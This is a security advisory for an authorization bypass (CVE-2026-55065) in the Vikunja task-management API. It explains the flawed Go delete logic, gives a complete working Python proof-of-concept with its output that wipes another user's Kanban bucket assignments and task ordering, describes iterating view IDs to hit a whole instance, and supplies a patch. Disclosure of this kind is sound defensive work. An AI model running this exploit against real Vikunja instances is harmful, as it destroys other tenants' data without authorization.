CVE-2026-55065: Vikunja: Improper Authorization and Authorization Bypass Through User-Controlled Key in code.vikunja.io/api

Summary

A user with only a single self-owned project can permanently destroy the Kanban bucket assignments (taskbuckets) and task ordering (taskpositions) of any other project view in the entire instance. The ProjectView.Delete model method runs three SQL statements: the first is properly scoped to (viewid, projectid), but the next two cascading deletes on taskbuckets and taskpositions filter only on the URL-supplied projectviewid. The permission check (CanDelete) gates on Admin of the URL :project but never confirms that the URL :view actually belongs to that project.

Details

ProjectView.Delete (file: pkg/models/projectview.go, line 250) cascades on the bare pv.ID for the second and third deletes, ignoring pv.ProjectID:

go func (pv ProjectView) Delete(s xorm.Session, web.Auth) (err error) { , err = s. Where("id = ? AND projectid = ?", pv.ID, pv.ProjectID). // (a) scoped — OK Delete(&ProjectView{}) if err != nil { return }

, err = s.Where("projectviewid = ?", pv.ID).Delete(&TaskBucket{}) // (b) UNSCOPED if err != nil { return }

, err = s.Where("projectviewid = ?", pv.ID).Delete(&TaskPosition{}) // (c) UNSCOPED return }

pv.ID and pv.ProjectID come straight from the URL path via c.Bind — see the param tags on the struct (pkg/models/projectview.go, lines 133–137):

go type ProjectView struct { ID int64 xorm:"autoincr not null unique pk" json:"id" param:"view" ... ProjectID int64 xorm:"not null index" json:"projectid" param:"project" ... }

The route is registered with both params in pkg/routes/routes.go, line 791:

go a.DELETE("/projects/:project/views/:view", projectViewProvider.DeleteWeb)

CanDelete (file: pkg/models/projectviewpermissions.go, line 38) gates only on Admin of the URL :project:

go func (pv ProjectView) CanDelete(s xorm.Session, a web.Auth) (bool, error) { if isInstanceAdmin(s, a) { return true, nil } filterID := GetSavedFilterIDFromProjectID(pv.ProjectID) if filterID > 0 { ... }

pp := pv.getProject() // = &Project{ID: pv.ProjectID} (URL path) return pp.IsAdmin(s, a) // only checks admin on URL :project }

There is no check that the view (pv.ID) actually belongs to that project. The first SQL inside Delete (the WHERE id = ? AND projectid = ? clause) compensates for the projectviews table only. xorm silently returns 0 affected rows on a mismatch — no error — and the function continues. The next two statements then run unconditionally on pv.ID alone.

Why other neighbouring code paths are not vulnerable, for context:

- Bucket.canDoBucket (pkg/models/kanbanpermissions.go, line 46) loads the bucket from the DB and re-couples the URL project via GetProjectViewByIDAndProject(viewID, projectID), which WHERE id = ? AND projectid = ? — mismatched URL :project returns an error. Safe. - ProjectView.Update (pkg/models/projectview.go, line 412) calls the same GetProjectViewByIDAndProject before applying the update. Safe. - Project.UpdateProject cascades use s.In("projectviewid", viewIDs).Delete(&Bucket{}) (pkg/models/project.go, line 1396) where viewIDs is loaded from the DB inside an authorised project-delete context. Safe.

The same shape (load-by-URL-id, then cascade-without-coupling) was the root cause of GHSA-jfmm-mjcp-8wq2 (attachment IDOR) and GHSA-2vq4-854f-5c72 (project reparenting). The view-delete cascade has not been audited the same way.

PoC

Prerequisites

- An authenticated account on the target Vikunja instance. No special role is required — local-auth registration is enough; the attacker becomes Admin of any project they create via the OwnerID field set in CreateProject (pkg/models/project.go, line 1021). - Knowledge of any victim view ID. View IDs are auto-increment integers (autoincr on the id column), so guessing or sequential enumeration suffices. If the attacker is a member of any other project, they can list view IDs via GET /api/v1/projects/:project/views.

Attack Steps

As the attacker, with valid JWT: PUT /api/v1/projects -> create throwaway project (ID = PA) DELETE /api/v1/projects/PA/views/V -> V is ANY view ID in the instance

The server returns HTTP 200 {"message":"Successfully deleted."} even when V is not in PA. The first scoped delete matches 0 rows silently; the second and third unscoped deletes wipe taskbuckets and taskpositions for view V.

The view itself is not deleted. Tasks themselves are not deleted. But the Kanban layout (which task is in which column) and the manual ordering are destroyed and there is no recovery path short of restoring from backup.

Proof of Concept Script

python #!/usr/bin/env python3 """ PoC: Cross-project destruction of taskbuckets / taskpositions via ProjectView.Delete Target: Vikunja Severity: HIGH - CVSS 8.1 CWE-639: Authorization Bypass Through User-Controlled Key

Usage: python3 poc.py http://localhost:3456 """

import requests import sys

if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASEURL>") print(f"Example: {sys.argv[0]} http://localhost:3456") sys.exit(1)

BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v1"

VICTIMUSER = "victimpoc" VICTIMPASS = "VictimPocPassword!2025" ATTACKERUSER = "attackerpoc" ATTACKERPASS = "AttackerPocPassword!2025"

BANNER = """ ===================================================================== PoC: Cross-Project Kanban Destruction via ProjectView.Delete Severity: HIGH (CVSS 8.1) CWE-639: Authorization Bypass Through User-Controlled Key ===================================================================== """ print(BANNER)

---- Helpers ----

def register(username, password): requests.post(f"{API}/register", json={ "username": username, "email": f"{username}@poc.local", "password": password, }) # ignore 400 if user already exists

def login(username, password): r = requests.post(f"{API}/login", json={ "username": username, "password": password, }) r.raiseforstatus() return r.json()["token"]

def auth(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

---- Victim setup: project + kanban view + tasks + bucket assignments ----

print("[] Setting up VICTIM (target)") register(VICTIMUSER, VICTIMPASS) vt = login(VICTIMUSER, VICTIMPASS)

Create a project (kanban view + default buckets are created automatically). proj = requests.put(f"{API}/projects", headers=auth(vt), json={"title": "Victim Project"}).json() victimpid = proj["id"]

Find the auto-created kanban view. views = requests.get(f"{API}/projects/{victimpid}/views", headers=auth(vt)).json() kanbanview = next(v for v in views if v["viewkind"] == "kanban") victimvid = kanbanview["id"]

Drop a few tasks into the project — Vikunja will auto-place them in the default bucket of the kanban view, populating taskbuckets. taskids = [] for i in range(3): t = requests.put(f"{API}/projects/{victimpid}/tasks", headers=auth(vt), json={"title": f"Victim task {i}"}).json() taskids.append(t["id"])

Touching the view via the bucket endpoint forces taskposition rows to materialise. Read the buckets-with-tasks endpoint once. requests.get( f"{API}/projects/{victimpid}/views/{victimvid}/buckets", headers=auth(vt), )

Confirm the kanban state has populated buckets+tasks. buckets = requests.get( f"{API}/projects/{victimpid}/views/{victimvid}/buckets", headers=auth(vt), ).json() totaltasksbefore = sum(len(b.get("tasks") or []) for b in buckets) print(f"[] Victim project={victimpid}, view={victimvid}, " f"tasksinbuckets BEFORE = {totaltasksbefore}") assert totaltasksbefore > 0, "PoC requires at least 1 task in the kanban"

---- Attacker setup: a throwaway project owned by the attacker ----

print("\n[] Setting up ATTACKER (any user can do this)") register(ATTACKERUSER, ATTACKERPASS) at = login(ATTACKERUSER, ATTACKERPASS)

pa = requests.put(f"{API}/projects", headers=auth(at), json={"title": "Attacker Throwaway"}).json() attackerpid = pa["id"] print(f"[] Attacker project = {attackerpid} " f"(attacker is Admin via OwnerID)")

---- ATTACK ----

print(f"\n{'='65}") print(f" ATTACK: trainer-equivalent — wipe victim's kanban via own project") print(f"{'='65}")

resp = requests.delete( f"{API}/projects/{attackerpid}/views/{victimvid}", headers=auth(at), ) print(f"\n DELETE /api/v1/projects/{attackerpid}/views/{victimvid}") print(f" (Logged in as: {ATTACKERUSER}, " f"who is NOT a member of victim project {victimpid})") print(f" Response: HTTP {resp.statuscode} body={resp.text!r}")

---- VERIFY ----

print(f"\n{'='65}") print(f" VERIFICATION") print(f"{'='65}")

View must still exist (the scoped first delete didn't match). viewsafter = requests.get(f"{API}/projects/{victimpid}/views", headers=auth(vt)).json() viewstillthere = any(v["id"] == victimvid for v in viewsafter)

But the buckets-with-tasks should now be empty (taskbuckets wiped). bucketsafter = requests.get( f"{API}/projects/{victimpid}/views/{victimvid}/buckets", headers=auth(vt), ).json() totaltasksafter = sum(len(b.get("tasks") or []) for b in bucketsafter)

print(f"\n View {victimvid} still exists? {viewstillthere}") print(f" Tasks in buckets BEFORE attack: {totaltasksbefore}") print(f" Tasks in buckets AFTER attack: {totaltasksafter}")

if viewstillthere and totaltasksafter == 0 and totaltasksbefore > 0: print(""" +-----------------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | An unrelated user destroyed every task->bucket assignment | | and every task position in another user's kanban view, using | | only a self-owned throwaway project as the URL :project. | | | | - The view itself survives (first scoped delete matched 0). | | - Tasks themselves survive. | | - taskbuckets and taskpositions for the view are gone. | | - Recovery requires restoring from backup. | +-----------------------------------------------------------------+ """) else: print("\n Attack did not land — patched build or unexpected state.")

Proof of Concept Output

===================================================================== PoC: Cross-Project Kanban Destruction via ProjectView.Delete Severity: HIGH (CVSS 8.1) CWE-639: Authorization Bypass Through User-Controlled Key =====================================================================

[] Setting up VICTIM (target) [] Victim project=42, view=87, tasksinbuckets BEFORE = 3

[] Setting up ATTACKER (any user can do this) [] Attacker project = 43 (attacker is Admin via OwnerID)

================================================================= ATTACK: trainer-equivalent — wipe victim's kanban via own project =================================================================

DELETE /api/v1/projects/43/views/87 (Logged in as: attackerpoc, who is NOT a member of victim project 42) Response: HTTP 200 body='{"message":"Successfully deleted."}'

================================================================= VERIFICATION =================================================================

View 87 still exists? True Tasks in buckets BEFORE attack: 3 Tasks in buckets AFTER attack: 0

+-----------------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | An unrelated user destroyed every task->bucket assignment | | and every task position in another user's kanban view, using | | only a self-owned throwaway project as the URL :project. | | | | - The view itself survives (first scoped delete matched 0). | | - Tasks themselves survive. | | - taskbuckets and taskpositions for the view are gone. | | - Recovery requires restoring from backup. | +-----------------------------------------------------------------+

Impact

1. Cross-tenant data destruction. Any authenticated user — local-auth registration is enough on default deployments — can wipe the taskbuckets and taskpositions rows for any view in the instance. There is no requirement to be a member of, or share anything with, the victim project.

2. Permanent loss without backup. Tasks and views survive, but every Kanban-column assignment and every manual ordering position for the targeted view is destroyed. Vikunja has no per-row recovery path; the only way back is restoring the database (or taskbuckets / taskpositions tables) from backup.

3. Trivial discovery. View IDs are auto-increment integers. An attacker can wipe every view in the instance by iterating 1..N, calling DELETE /api/v1/projects/<own-project>/views/<i> for each. Each request is a 200 OK regardless of whether the view existed in the attacker's project — so the attacker can't even tell which IDs were "real" without watching for victim complaints.

4. Multi-tenant SaaS impact. On hosted Vikunja deployments (e.g. try.vikunja.io-style setups), a single sign-up suffices to destroy Kanban layouts of every other tenant on the same instance.

Fix

Either gate the cascading deletes on whether the scoped first delete matched, or re-couple (viewid, projectid) inside the cascading queries.

Minimal patch — pkg/models/projectview.go, inside Delete():

go func (pv ProjectView) Delete(s xorm.Session, web.Auth) (err error) { affected, err := s. Where("id = ? AND projectid = ?", pv.ID, pv.ProjectID). Delete(&ProjectView{}) if err != nil { return } if affected == 0 { // Either the view doesn't exist, or it doesn't belong to pv.ProjectID. // Either way, do not cascade — return an error so the API responds 404. return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID} }

if , err = s.Where("projectviewid = ?", pv.ID).Delete(&TaskBucket{}); err != nil { return } , err = s.Where("projectviewid = ?", pv.ID).Delete(&TaskPosition{}) return }

This makes the cascade conditional on the scoped delete actually having matched a row. As a defence-in-depth follow-up, CanDelete should also load the view and verify view.ProjectID == pv.ProjectID before granting permission, so the 404 path in Delete becomes a backstop rather than the only line of defence — mirroring the pattern used by Bucket.canDoBucket and ProjectView.Update elsewhere in the same file.